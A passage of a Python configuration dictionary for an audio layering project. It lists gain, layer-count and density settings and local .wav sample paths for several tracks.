'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/pulsar_synth-009.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/pulsar_synth-010.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/pulsar_synth-011.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/pulsar_synth-012.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/pulsar_synth-014.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/pulsar_synth-015.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/pulsar_synth-016.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/pulsar_synth-017.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/pulsar_synth-018.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/swarmy_graincloud-000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/swarmy_graincloud-001.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/swarmy_graincloud-002.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/swarmy_graincloud-003.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/swarmy_graincloud-004.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/swarmy_graincloud-005.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/swarmy_graincloud-006.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/swarmy_graincloud-007.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/swarmy_graincloud-008.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/swarmy_graincloud-009.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/swarmy_graincloud-010.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/swarmy_graincloud-011.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/swarmy_graincloud-012.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/swarmy_graincloud-013.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/swarmy_graincloud-014.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/swarmy_graincloud-015.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/swarmy_graincloud-016.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/swarmy_graincloud-017.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/swarmy_graincloud-018.wav',
],
},
},
'trk_shmock2': {
# trks shluff / shmock
'raw': {
'gain_max': 3,
'gain_min': -6,
'numlayer': 5,
'density': 0.33,
'files': [
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/Robert R Graham 2_0000.000000.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/Robert R Graham 2_0002.211250.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/Robert R Graham 2_0002.691333.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/Robert R Graham 2_0002.772354.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/Robert R Graham 2_0003.330521.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/Robert R Graham 2_0004.130000.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/Robert R Graham 2_0004.705896.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/Robert R Graham 2_0004.995396.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/Robert R Graham 2_0005.698083.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/Robert R Graham 2_0006.280375.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/Robert R Graham 2_0007.426896.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/Robert R Graham 2_0007.973104.wav',
],
},
# shluff2, shmock2 proc
'proc': {
'gain_max': -3,
'gain_min': -27,
'numlayer': 10,
'density': 0.66,
'files': [
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/fxgo-000.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/fxgo-001.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/fxgo-002.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/fxgo-003.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/fxgo-004.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/fxgo-005.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/fxgo-006.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/fxgo-007.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/fxgo-008.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/fxgo-009.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/fxgo-010.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/fxgo-011.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/pulsar_synth-000.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/pulsar_synth-001.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/pulsar_synth-002.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/pulsar_synth-003.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/pulsar_synth-004.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/pulsar_synth-005.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/pulsar_synth-006.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/pulsar_synth-007.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/pulsar_synth-008.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/pulsar_synth-009.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/pulsar_synth-010.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/pulsar_synth-011.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/swarmy_graincloud-000.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/swarmy_graincloud-001.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/swarmy_graincloud-002.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/swarmy_graincloud-003.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/swarmy_graincloud-004.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/swarmy_graincloud-005.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/swarmy_graincloud-006.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/swarmy_graincloud-007.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/swarmy_graincloud-008.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/swarmy_graincloud-009.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/swarmy_graincloud-010.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham 2/proc/swarmy_graincloud-011.wav',
],
},
},
'trk_shluff2': {
'raw': {
# trks shluff / shmock
'gain_max': 3,
'gain_min':-6,
'numlayer': 5,
'density': 0.33,
'files': [
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/Robert R Graham_0000.000000.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/Robert R Graham_0001.777625.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/Robert R Graham_0006.003458.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/Robert R Graham_0006.102500.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/Robert R Graham_0006.542750.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/Robert R Graham_0007.777437.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/Robert R Graham_0009.601458.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/Robert R Graham_0009.699479.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/Robert R Graham_0012.492229.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/Robert R Graham_0013.422896.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/Robert R Graham_0016.854979.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/Robert R Graham_0017.047583.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/Robert R Graham_0018.425292.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/Robert R Graham_0019.521833.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/Robert R Graham_0020.513437.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/Robert R Graham_0020.953937.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/Robert R Graham_0021.644104.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/Robert R Graham_0023.324021.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/Robert R Graham_0023.559062.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/Robert R Graham_0024.483417.wav',
],
},
'proc': {
'gain_max': -3,
'gain_min': -27,
'numlayer': 10,
'density': 0.66,
'files': [
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/fxgo-000.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/fxgo-001.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/fxgo-002.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/fxgo-003.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/fxgo-004.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/fxgo-005.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/fxgo-006.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/fxgo-007.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/fxgo-008.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/fxgo-009.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/fxgo-010.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/fxgo-011.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/fxgo-012.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/fxgo-013.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/fxgo-014.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/fxgo-015.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/fxgo-016.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/fxgo-017.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/fxgo-018.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/fxgo-019.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/pulsar_synth-000.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/pulsar_synth-001.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/pulsar_synth-002.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/pulsar_synth-003.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/pulsar_synth-004.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/pulsar_synth-005.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/pulsar_synth-006.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/pulsar_synth-007.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/pulsar_synth-008.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/pulsar_synth-009.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/pulsar_synth-010.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/pulsar_synth-011.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/pulsar_synth-012.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/pulsar_synth-013.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/pulsar_synth-014.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/pulsar_synth-015.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/pulsar_synth-016.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/pulsar_synth-017.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/pulsar_synth-018.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/pulsar_synth-019.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/swarmy_graincloud-000.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/swarmy_graincloud-001.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/swarmy_graincloud-002.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/swarmy_graincloud-003.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/swarmy_graincloud-004.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/swarmy_graincloud-005.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/swarmy_graincloud-006.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/swarmy_graincloud-007.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/swarmy_graincloud-008.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/swarmy_graincloud-009.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/swarmy_graincloud-010.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/swarmy_graincloud-011.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/swarmy_graincloud-012.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/swarmy_graincloud-013.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/swarmy_graincloud-014.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/swarmy_graincloud-015.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/swarmy_graincloud-016.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/swarmy_graincloud-017.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/swarmy_graincloud-018.wav',
'/home/lib/audio/work/tsx_recur_2/sue/Robert R Graham/proc/swarmy_graincloud-019.wav',
],
},
},
# trk021
'trk021': {
# track021 raw
'raw': {
'gain_max': -3,
'gain_min': -12,
'numlayer': 5,
'density': 0.33,
'files': [
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0000.000000.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0000.281361.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0003.992789.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0004.289388.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0004.426440.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0004.549932.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0004.706576.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0005.043946.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0005.305714.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0007.198095.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0007.720680.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0012.283946.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0013.076735.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0017.742177.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0017.929796.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0018.791610.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0019.584399.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0019.913469.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0020.603946.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0022.555329.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0023.809388.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0024.888345.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0025.644263.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0025.825125.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0026.006259.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0026.075556.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0027.087982.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0027.562676.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0028.164580.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0029.020454.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0030.297823.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0030.501995.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0030.751066.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0030.834059.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_4_ok_1_c/file_trim_5s_4_ok_c_0031.158186.wav',
],
},
# trk021 proc
'proc': {
'gain_max': -3,
'gain_min': -33,
'numlayer': 10,
'density': 0.66,
'files': [
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0000.000000.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0000.268980.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0000.584898.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0001.378005.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0004.131927.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0006.311746.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0006.670703.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0007.034830.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0007.122132.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0007.222494.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0007.471701.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0012.327075.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0013.875057.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0017.225125.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0018.236417.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0018.489932.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0019.200181.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0019.326893.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0019.670113.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0019.893741.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0020.454830.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0020.591610.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0023.747846.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0023.802948.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0023.892472.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0024.809660.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0024.861587.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0025.047438.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0025.173243.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0025.858594.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0025.993424.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0026.829705.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0027.568707.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0028.168526.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0029.000136.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0029.062222.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0029.462358.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0029.518413.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0029.749252.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0030.754286.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0030.870431.wav',
'/home/lib/audio/work/maxmaitz_Owald schicken/file_trim_5s_6_ok_c/file_trim_5s_6_ok_c_0031.130385.wav',
],
},
},
# multitrack002 side / proc
'multitrack002': {
'proc': {
'gain_max': -6,
'gain_mix': -24,
'numlayer': 10,
'density': 0.66,
'files': [
# '/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/proc/fxgo-000.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/proc/fxgo-001.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/proc/fxgo-002.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/proc/fxgo-003.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/proc/fxgo-004.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/proc/fxgo-005.wav',
# '/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/proc/fxgo-006.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/proc/pulsar_synth-000.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/proc/pulsar_synth-001.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/proc/pulsar_synth-002.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/proc/pulsar_synth-003.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/proc/pulsar_synth-004.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/proc/pulsar_synth-005.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/proc/pulsar_synth-006.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/proc/swarmy_graincloud-000.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/proc/swarmy_graincloud-001.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/proc/swarmy_graincloud-002.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/proc/swarmy_graincloud-003.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/proc/swarmy_graincloud-004.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/proc/swarmy_graincloud-005.wav',
